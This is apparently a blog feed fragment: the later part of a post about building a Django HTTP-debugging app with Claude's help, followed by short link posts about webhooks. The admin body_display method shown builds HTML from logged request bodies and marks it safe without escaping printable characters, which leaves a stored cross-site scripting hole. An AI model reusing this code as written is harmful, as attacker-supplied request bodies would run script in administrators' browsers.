&lt;p&gt;I want a Django app I can use to help create HTTP debugging endpoints. It should let me configure a new path e.g. /webhooks/receive/ that the Django 404 handler then hooks into - if one is configured it can be told which HTTP status code, headers and content to return.&lt;/p&gt;
&lt;p&gt;ALL traffic to those endpoints is logged to a Django table - full details of incoming request headers, method and body. Those can be browsed read-only in the Django admin (and deleted)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Produced &lt;a href="https://claude.site/artifacts/d7da92c2-8a6e-4fd8-a6f2-b243523af1b4"&gt;Claude v1&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;make it so I don't have to put it in the urlpatterns because it hooks ito Django's 404 handling mechanism instead&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Produced &lt;a href="https://claude.site/artifacts/a1fb7996-e16b-403f-848c-e9ff0adcb9e3"&gt;Claude v2&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Suggestions for how this could handle request bodies that don't cleanly decode to utf-8&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Produced &lt;a href="https://claude.site/artifacts/9f1a2db7-d614-4fc0-9c84-860a2c1afa92"&gt;Claude v3&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;don't use a binary field, use a text field but still store base64 data in it if necessary and have a is_base64 boolean column that gets set to true if that happens&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Produced &lt;a href="https://claude.site/artifacts/c49367b9-b6f9-4634-be72-a266e01579fd"&gt;Claude v4&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I took that code and ran with it - I fired up a new skeleton library using my &lt;a href="https://github.com/simonw/python-lib"&gt;python-lib cookiecutter template&lt;/a&gt;, copied the code into it, made some tiny changes to get it to work and shipped it as &lt;a href="https://github.com/simonw/django-http-debug/releases/tag/0.1a0"&gt;an initial alpha release&lt;/a&gt; - mainly so I could start exercising it on a couple of sites I manage.&lt;/p&gt;
&lt;p&gt;Using it in the wild for a few minutes quickly identified changes I needed to make. I filed those as &lt;a href="https://github.com/simonw/django-http-debug/issues"&gt;issues&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/simonw/django-http-debug/issues/2"&gt;#2: Capture query string&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/simonw/django-http-debug/issues/3"&gt;#3: Don't show body field twice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/simonw/django-http-debug/issues/4"&gt;#4: Field for content-type, plus base64 support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/simonw/django-http-debug/issues/5"&gt;#5: Ability to disable logging for an endpoint&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/simonw/django-http-debug/issues/6"&gt;#6: Add automated tests&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then I worked though fixing each of those one at a time. I did most of this work myself, though GitHub Copilot helped me out be typing some of the code for me.&lt;/p&gt;
&lt;h4 id="adding-the-base64-preview"&gt;Adding the base64 preview&lt;/h4&gt;
&lt;p&gt;There was one slightly tricky feature I wanted to add that didn’t justify spending much time on but was absolutely a nice-to-have.&lt;/p&gt;
&lt;p&gt;The logging mechanism supports binary data: if incoming request data doesn’t cleanly encode as UTF-8 it gets stored as Base 64 text instead, with the &lt;code&gt;is_base64&lt;/code&gt; flag set to &lt;code&gt;True&lt;/code&gt; (see the &lt;code&gt;set_body()&lt;/code&gt; method in the &lt;code&gt;RequestLog&lt;/code&gt; model above).&lt;/p&gt;
&lt;p&gt;I asked Claude for a &lt;code&gt;curl&lt;/code&gt; one-liner to test this and it suggested:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;curl -X POST http://localhost:8000/foo/ \
  -H &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Content-Type: multipart/form-data&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt; \
  -F &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;image=@pixel.gif&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I do this a lot - knocking out quick &lt;code&gt;curl&lt;/code&gt; commands is an easy prompt, and you can tell it the URL and headers you want to use, saving you from having to edit the command yourself later on.&lt;/p&gt;
&lt;p&gt;I decided to have the Django Admin view display a decoded version of that Base 64 data. But how to render that, when things like binary file uploads may not be cleanly renderable as text?&lt;/p&gt;
&lt;p&gt;This is what I came up with:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/django-http-debug-binary.jpg" alt="Django admin screenshot showing &amp;quot;view request log&amp;quot; screen - a logged POST request to the hello-world endpoint. method is POST, headers is a detailed dictionary, Body is a base64 string but body display shows that decoded to a multi-part form data with a image/gif attachment - that starts with GIF89a and then shows hex byte pairs for the binary data. Is base64 shows a green checkmark." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;The trick here I'm using here is to display the decoded data as a mix between renderable characters and hex byte pairs, with those pairs rendered using a different font to make it clear that they are part of the binary data.&lt;/p&gt;
&lt;p&gt;This is achieved using a &lt;code&gt;body_display()&lt;/code&gt; method on the &lt;code&gt;RequestLogAdmin&lt;/code&gt; admin class, which is then listed in &lt;code&gt;readonly_fields&lt;/code&gt;. The &lt;a href="https://github.com/simonw/django-http-debug/blob/0.2/django_http_debug/admin.py"&gt;full code is here&lt;/a&gt;, this is that method:&lt;/p&gt;
&lt;pre&gt;    &lt;span class="pl-k"&gt;def&lt;/span&gt; &lt;span class="pl-en"&gt;body_display&lt;/span&gt;(&lt;span class="pl-s1"&gt;self&lt;/span&gt;, &lt;span class="pl-s1"&gt;obj&lt;/span&gt;):
        &lt;span class="pl-s1"&gt;body&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;obj&lt;/span&gt;.&lt;span class="pl-en"&gt;get_body&lt;/span&gt;()
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-c1"&gt;not&lt;/span&gt; &lt;span class="pl-en"&gt;isinstance&lt;/span&gt;(&lt;span class="pl-s1"&gt;body&lt;/span&gt;, &lt;span class="pl-s1"&gt;bytes&lt;/span&gt;):
            &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-en"&gt;format_html&lt;/span&gt;(&lt;span class="pl-s"&gt;"&amp;lt;pre&amp;gt;{}&amp;lt;/pre&amp;gt;"&lt;/span&gt;, &lt;span class="pl-s1"&gt;body&lt;/span&gt;)

        &lt;span class="pl-c"&gt;# Attempt to guess filetype&lt;/span&gt;
        &lt;span class="pl-s1"&gt;suggestion&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-c1"&gt;None&lt;/span&gt;
        &lt;span class="pl-s1"&gt;match&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;filetype&lt;/span&gt;.&lt;span class="pl-en"&gt;guess&lt;/span&gt;(&lt;span class="pl-s1"&gt;body&lt;/span&gt;[:&lt;span class="pl-c1"&gt;1000&lt;/span&gt;])
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;match&lt;/span&gt;:
            &lt;span class="pl-s1"&gt;suggestion&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s"&gt;"{} ({})"&lt;/span&gt;.&lt;span class="pl-en"&gt;format&lt;/span&gt;(&lt;span class="pl-s1"&gt;match&lt;/span&gt;.&lt;span class="pl-s1"&gt;extension&lt;/span&gt;, &lt;span class="pl-s1"&gt;match&lt;/span&gt;.&lt;span class="pl-s1"&gt;mime&lt;/span&gt;)

        &lt;span class="pl-s1"&gt;encoded&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;repr&lt;/span&gt;(&lt;span class="pl-s1"&gt;body&lt;/span&gt;)
        &lt;span class="pl-c"&gt;# Ditch the b' and trailing '&lt;/span&gt;
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;encoded&lt;/span&gt;.&lt;span class="pl-en"&gt;startswith&lt;/span&gt;(&lt;span class="pl-s"&gt;"b'"&lt;/span&gt;) &lt;span class="pl-c1"&gt;and&lt;/span&gt; &lt;span class="pl-s1"&gt;encoded&lt;/span&gt;.&lt;span class="pl-en"&gt;endswith&lt;/span&gt;(&lt;span class="pl-s"&gt;"'"&lt;/span&gt;):
            &lt;span class="pl-s1"&gt;encoded&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;encoded&lt;/span&gt;[&lt;span class="pl-c1"&gt;2&lt;/span&gt;:&lt;span class="pl-c1"&gt;-&lt;/span&gt;&lt;span class="pl-c1"&gt;1&lt;/span&gt;]

        &lt;span class="pl-c"&gt;# Split it into sequences of octets and characters&lt;/span&gt;
        &lt;span class="pl-s1"&gt;chunks&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;sequence_re&lt;/span&gt;.&lt;span class="pl-en"&gt;split&lt;/span&gt;(&lt;span class="pl-s1"&gt;encoded&lt;/span&gt;)
        &lt;span class="pl-s1"&gt;html&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; []
        &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;suggestion&lt;/span&gt;:
            &lt;span class="pl-s1"&gt;html&lt;/span&gt;.&lt;span class="pl-en"&gt;append&lt;/span&gt;(
                &lt;span class="pl-s"&gt;'&amp;lt;p style="margin-top: 0; font-family: monospace; font-size: 0.8em;"&amp;gt;Suggestion: {}&amp;lt;/p&amp;gt;'&lt;/span&gt;.&lt;span class="pl-en"&gt;format&lt;/span&gt;(
                    &lt;span class="pl-s1"&gt;suggestion&lt;/span&gt;
                )
            )
        &lt;span class="pl-k"&gt;for&lt;/span&gt; &lt;span class="pl-s1"&gt;chunk&lt;/span&gt; &lt;span class="pl-c1"&gt;in&lt;/span&gt; &lt;span class="pl-s1"&gt;chunks&lt;/span&gt;:
            &lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;sequence_re&lt;/span&gt;.&lt;span class="pl-en"&gt;match&lt;/span&gt;(&lt;span class="pl-s1"&gt;chunk&lt;/span&gt;):
                &lt;span class="pl-s1"&gt;octets&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-s1"&gt;octet_re&lt;/span&gt;.&lt;span class="pl-en"&gt;findall&lt;/span&gt;(&lt;span class="pl-s1"&gt;chunk&lt;/span&gt;)
                &lt;span class="pl-s1"&gt;octets&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; [&lt;span class="pl-s1"&gt;o&lt;/span&gt;[&lt;span class="pl-c1"&gt;2&lt;/span&gt;:] &lt;span class="pl-k"&gt;for&lt;/span&gt; &lt;span class="pl-s1"&gt;o&lt;/span&gt; &lt;span class="pl-c1"&gt;in&lt;/span&gt; &lt;span class="pl-s1"&gt;octets&lt;/span&gt;]
                &lt;span class="pl-s1"&gt;html&lt;/span&gt;.&lt;span class="pl-en"&gt;append&lt;/span&gt;(
                    &lt;span class="pl-s"&gt;'&amp;lt;code style="color: #999; font-family: monospace"&amp;gt;{}&amp;lt;/code&amp;gt;'&lt;/span&gt;.&lt;span class="pl-en"&gt;format&lt;/span&gt;(
                        &lt;span class="pl-s"&gt;" "&lt;/span&gt;.&lt;span class="pl-en"&gt;join&lt;/span&gt;(&lt;span class="pl-s1"&gt;octets&lt;/span&gt;).&lt;span class="pl-en"&gt;upper&lt;/span&gt;()
                    )
                )
            &lt;span class="pl-k"&gt;else&lt;/span&gt;:
                &lt;span class="pl-s1"&gt;html&lt;/span&gt;.&lt;span class="pl-en"&gt;append&lt;/span&gt;(&lt;span class="pl-s1"&gt;chunk&lt;/span&gt;.&lt;span class="pl-en"&gt;replace&lt;/span&gt;(&lt;span class="pl-s"&gt;"&lt;span class="pl-cce"&gt;\\&lt;/span&gt;&lt;span class="pl-cce"&gt;\\&lt;/span&gt;"&lt;/span&gt;, &lt;span class="pl-s"&gt;"&lt;span class="pl-cce"&gt;\\&lt;/span&gt;"&lt;/span&gt;))

        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-en"&gt;mark_safe&lt;/span&gt;(&lt;span class="pl-s"&gt;" "&lt;/span&gt;.&lt;span class="pl-en"&gt;join&lt;/span&gt;(&lt;span class="pl-s1"&gt;html&lt;/span&gt;).&lt;span class="pl-en"&gt;strip&lt;/span&gt;().&lt;span class="pl-en"&gt;replace&lt;/span&gt;(&lt;span class="pl-s"&gt;"&lt;span class="pl-cce"&gt;\\&lt;/span&gt;r&lt;span class="pl-cce"&gt;\\&lt;/span&gt;n"&lt;/span&gt;, &lt;span class="pl-s"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;))&lt;/pre&gt;
&lt;p&gt;I got Claude to write that using one of my favourite prompting tricks. I'd solved this problem once before in the past, &lt;a href="https://github.com/simonw/datasette-render-binary/blob/0.3.1/datasette_render_binary/__init__.py"&gt;in my datasette-render-binary&lt;/a&gt; project. So I pasted that code into Claude, told it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With that code as inspiration, modify the following Django Admin code to use that to display decoded base64 data:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And then pasted in my existing Django admin class. You can see &lt;a href="https://gist.github.com/simonw/b2cfff8281d5681c30e54083a9882141"&gt;my full prompt here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Claude replied with &lt;a href="https://claude.site/artifacts/03454d25-9a1d-4b7d-b79f-a3a8707c58ad"&gt;this code&lt;/a&gt;, which almost worked exactly as intended - I had to make one change, swapping out the last line for this:&lt;/p&gt;
&lt;pre&gt;        &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-en"&gt;mark_safe&lt;/span&gt;(&lt;span class="pl-s"&gt;" "&lt;/span&gt;.&lt;span class="pl-en"&gt;join&lt;/span&gt;(&lt;span class="pl-s1"&gt;html&lt;/span&gt;).&lt;span class="pl-en"&gt;strip&lt;/span&gt;().&lt;span class="pl-en"&gt;replace&lt;/span&gt;(&lt;span class="pl-s"&gt;"&lt;span class="pl-cce"&gt;\\&lt;/span&gt;r&lt;span class="pl-cce"&gt;\\&lt;/span&gt;n"&lt;/span&gt;, &lt;span class="pl-s"&gt;"&amp;lt;br&amp;gt;"&lt;/span&gt;))&lt;/pre&gt;
&lt;p&gt;I love this pattern: "here's my existing code, here's some other code I wrote, combine them together to solve this problem". I wrote about this previously when I described &lt;a href="https://simonwillison.net/2024/Mar/30/ocr-pdfs-images/#ocr-how-i-built-this"&gt;how I built my PDF OCR JavaScript tool&lt;/a&gt; a few months ago.&lt;/p&gt;
&lt;h4 id="adding-automated-tests"&gt;Adding automated tests&lt;/h4&gt;
&lt;p&gt;The final challenge was the hardest: writing automated tests. This was difficult because Django tests need a full Django project configured for them, and I wasn’t confident about the best pattern for doing that in my standalone &lt;code&gt;django-http-debug&lt;/code&gt; repository since it wasn’t already part of an existing Django project.&lt;/p&gt;
&lt;p&gt;I decided to see if Claude could help me with that too, this time using my &lt;a href="https://github.com/simonw/files-to-prompt"&gt;files-to-prompt&lt;/a&gt; and &lt;a href="https://llm.datasette.io/"&gt;LLM&lt;/a&gt; command-line tools:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;files-to-prompt &lt;span class="pl-c1"&gt;.&lt;/span&gt; --ignore LICENSE &lt;span class="pl-k"&gt;|&lt;/span&gt; \
  llm -m claude-3.5-sonnet -s \
  &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;step by step advice on how to implement automated tests for this, which is hard because the tests need to work within a temporary Django project that lives in the tests/ directory somehow. Provide all code at the end.&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here's &lt;a href="https://gist.github.com/simonw/a1c51e3a4f30d91eac4664ba84266ca1#response"&gt;Claude's full response&lt;/a&gt;. It almost worked! It gave me a minimal test project in &lt;a href="https://github.com/simonw/django-http-debug/tree/1d2fae7141b1bdd9b156858e689511e282bd7b5a/tests/test_project"&gt;tests/test_project&lt;/a&gt; and an initial set of &lt;a href="https://github.com/simonw/django-http-debug/blob/1d2fae7141b1bdd9b156858e689511e282bd7b5a/tests/test_django_http_debug.py"&gt;quite sensible tests&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sadly it didn’t quite solve the most fiddly problem for me: configuring it so running &lt;code&gt;pytest&lt;/code&gt; would correctly set the Python path and &lt;code&gt;DJANGO_SETTINGS_MODULE&lt;/code&gt; in order run the tests. I saw this error instead:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;django.core.exceptions.ImproperlyConfigured: Requested setting INSTALLED_APPS, but settings are not configured. You must either define the environment variable DJANGO_SETTINGS_MODULE or call settings.configure() before accessing settings.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I spent some time with the &lt;a href="https://pytest-django.readthedocs.io/en/latest/managing_python_path.html"&gt;relevant pytest-django documentation&lt;/a&gt; and figure out a pattern that worked. Short version: I added this to my &lt;code&gt;pyproject.toml&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight highlight-source-toml"&gt;&lt;pre&gt;[&lt;span class="pl-en"&gt;tool&lt;/span&gt;.&lt;span class="pl-en"&gt;pytest&lt;/span&gt;.&lt;span class="pl-en"&gt;ini_options&lt;/span&gt;]
&lt;span class="pl-smi"&gt;DJANGO_SETTINGS_MODULE&lt;/span&gt; = &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;tests.test_project.settings&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-smi"&gt;pythonpath&lt;/span&gt; = [&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;.&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;]&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For the longer version, take a look at my full TIL: &lt;a href="https://til.simonwillison.net/django/pytest-django"&gt;Using pytest-django with a reusable Django application&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="test-supported-cleanup"&gt;Test-supported cleanup&lt;/h4&gt;
&lt;p&gt;The great thing about having comprehensive tests in place is it makes iterating on the project much faster. Claude had used some patterns that weren’t necessary. I spent a few minutes seeing if the tests still passed if I deleted various pieces of code, and &lt;a href="https://github.com/simonw/django-http-debug/compare/1d2fae7141b1bdd9b156858e689511e282bd7b5a...97bab5dd9c7f4363a49127711c4c68ef1f3b6ade/"&gt;cleaned things up quite a bit&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="was-claude-worth-it-"&gt;Was Claude worth it?&lt;/h4&gt;
&lt;p&gt;This entire project took about two hours - just within a tolerable amount of time for what was effectively a useful &lt;a href="https://simonwillison.net/2024/Mar/22/claude-and-chatgpt-case-study/"&gt;sidequest&lt;/a&gt; from my intended activity for the day.&lt;/p&gt;
&lt;p&gt;Claude didn't implement the whole project for me. The code it produced didn't quite work - I had to tweak just a few lines of code, but knowing which code to tweak took a development environment and manual testing and benefited greatly from my 20+ years of Django experience!&lt;/p&gt;
&lt;p&gt;This is yet another example of how LLMs don't replace human developers: they augment us.&lt;/p&gt;
&lt;p&gt;The end result is a tool that I'm already using to solve real-world problems, and a &lt;a href="https://github.com/simonw/django-http-debug"&gt;code repository&lt;/a&gt; that I'm proud to put my name to. Without LLM assistance this project would have stayed on my ever-growing list of "things I'd love to build one day".&lt;/p&gt;
&lt;p&gt;I'm also really happy to have my own &lt;a href="https://til.simonwillison.net/django/pytest-django"&gt;documented solution&lt;/a&gt; to the challenge of adding automated tests to a standalone reusable Django application. I was tempted to skip this step entirely, but thanks to Claude's assistance I was able to break that problem open and come up with a solution that I'm really happy with.&lt;/p&gt;
&lt;p&gt;Last year I wrote about how &lt;a href="https://simonwillison.net/2023/Mar/27/ai-enhanced-development/"&gt;AI-enhanced development makes me more ambitious with my projects&lt;/a&gt;. It's also helping me be more diligent in not taking shortcuts like skipping setting up automated tests.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/django"&gt;django&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/django-admin"&gt;django-admin&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-assisted-programming"&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/anthropic"&gt;anthropic&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude"&gt;claude&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude-3-5-sonnet"&gt;claude-3-5-sonnet&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="django"/><category term="django-admin"/><category term="projects"/><category term="python"/><category term="webhooks"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="ai-assisted-programming"/><category term="anthropic"/><category term="claude"/><category term="claude-3-5-sonnet"/></entry><entry><title>Making a Discord bot with PHP</title><link href="https://simonwillison.net/2024/Jan/14/making-a-discord-bot-with-php/#atom-tag" rel="alternate"/><published>2024-01-14T22:56:08+00:00</published><updated>2024-01-14T22:56:08+00:00</updated><id>https://simonwillison.net/2024/Jan/14/making-a-discord-bot-with-php/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.kryogenix.org/days/2024/01/14/making-a-discord-bot-with-php/"&gt;Making a Discord bot with PHP&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Building bots for Discord used to require a long-running process that stayed connected, but a more recent change introduced slash commands via webhooks, making it much easier to write a bot that is backed by a simple request/response HTTP endpoint. Stuart Langridge explores how to build these in PHP here, but the same pattern in Python should be quite straight-forward.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://mastodon.social/@sil/111756707673740628"&gt;@sil&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/php"&gt;php&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/stuart-langridge"&gt;stuart-langridge&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/discord"&gt;discord&lt;/a&gt;&lt;/p&gt;



</summary><category term="php"/><category term="stuart-langridge"/><category term="webhooks"/><category term="discord"/></entry><entry><title>Standard Webhooks 1.0.0</title><link href="https://simonwillison.net/2023/Dec/8/standard-webhooks/#atom-tag" rel="alternate"/><published>2023-12-08T04:16:37+00:00</published><updated>2023-12-08T04:16:37+00:00</updated><id>https://simonwillison.net/2023/Dec/8/standard-webhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/standard-webhooks/standard-webhooks/blob/main/spec/standard-webhooks.md"&gt;Standard Webhooks 1.0.0&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
A loose specification for implementing webhooks, put together by a technical steering committee that includes representatives from Zapier, Twilio and more.&lt;/p&gt;

&lt;p&gt;These recommendations look great to me. Even if you don’t follow them precisely, this document is still worth reviewing any time you consider implementing webhooks—it covers a bunch of non-obvious challenges, such as responsible retry scheduling, thin-vs-thick hook payloads, authentication, custom HTTP headers and protecting against Server side request forgery attacks.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=38559139"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="security"/><category term="webhooks"/></entry><entry><title>Centrifuge: a reliable system for delivering billions of events per day</title><link href="https://simonwillison.net/2021/Dec/6/centrifue/#atom-tag" rel="alternate"/><published>2021-12-06T01:41:54+00:00</published><updated>2021-12-06T01:41:54+00:00</updated><id>https://simonwillison.net/2021/Dec/6/centrifue/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://segment.com/blog/introducing-centrifuge/"&gt;Centrifuge: a reliable system for delivering billions of events per day&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
From 2018, a write-up from Segment explaining how they solved the problem of delivering webhooks from thousands of different producers to hundreds of potentially unreliable endpoints. They started with Kafka and ended up on a custom system written in Go against RDS MySQL that was specifically tuned to their write-heavy requirements.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/jkakar/status/1467653837917863936"&gt;@jkakar&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/scaling"&gt;scaling&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/segment"&gt;segment&lt;/a&gt;&lt;/p&gt;



</summary><category term="scaling"/><category term="webhooks"/><category term="segment"/></entry><entry><title>NGINX: Authentication Based on Subrequest Result</title><link href="https://simonwillison.net/2019/Oct/4/nginx-authentication-based-subrequest-result/#atom-tag" rel="alternate"/><published>2019-10-04T15:36:33+00:00</published><updated>2019-10-04T15:36:33+00:00</updated><id>https://simonwillison.net/2019/Oct/4/nginx-authentication-based-subrequest-result/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-subrequest-authentication/"&gt;NGINX: Authentication Based on Subrequest Result&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
TIL about this neat feature of NGINX: you can use the auth_request directive to cause NGINX to make an HTTP subrequest to a separate authentication server for each incoming HTTP request. The authentication server can see the cookies on the incoming request and tell NGINX if it should fulfill the parent request (via a 2xx status code) or if it should be denied (by returning a 401 or 403). This means you can run NGINX as an authenticating proxy in front of any HTTP application and roll your own custom authentication code as a simple webhook-recieving endpoint.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://github.com/simonw/datasette-auth-github/issues/45"&gt;Ishan Anand&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/authentication"&gt;authentication&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/nginx"&gt;nginx&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="authentication"/><category term="nginx"/><category term="webhooks"/></entry><entry><title>Should You Build a Webhooks API?</title><link href="https://simonwillison.net/2017/Oct/2/webhooks/#atom-tag" rel="alternate"/><published>2017-10-02T05:01:23+00:00</published><updated>2017-10-02T05:01:23+00:00</updated><id>https://simonwillison.net/2017/Oct/2/webhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://brandur.org/webhooks"&gt;Should You Build a Webhooks API?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
We had to solve for pretty much all of these issues when we built Eventbrite’s webhooks—this article would have saved us a lot of time!

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/brandur/status/913768456553562112"&gt;@brandur&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="webhooks"/></entry><entry><title>Hookbox</title><link href="https://simonwillison.net/2010/Jul/29/hookbox/#atom-tag" rel="alternate"/><published>2010-07-29T09:48:00+00:00</published><updated>2010-07-29T09:48:00+00:00</updated><id>https://simonwillison.net/2010/Jul/29/hookbox/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://hookbox.org/"&gt;Hookbox&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
For most web projects, I believe implementing any real-time comet features on a separate stack from the rest of the application makes sense—keep using Rails, Django or PHP for the bulk of the application logic, and offload any WebSocket or Comet requests to a separate stack built on top of something like Node.js, Twisted, EventMachine or Jetty. Hookbox is the best example of that philosophy I’ve yet seen—it’s a Comet server that makes WebHook requests back to your regular application stack to check if a user has permission to publish or subscribe to a given channel. “The key insight is that all application development with hookbox happens either in JavaScript or in the native language of the web application itself”.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="http://cometdaily.com/2010/07/26/a-fast-introduction-to-hookbox/"&gt;Comet Daily&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


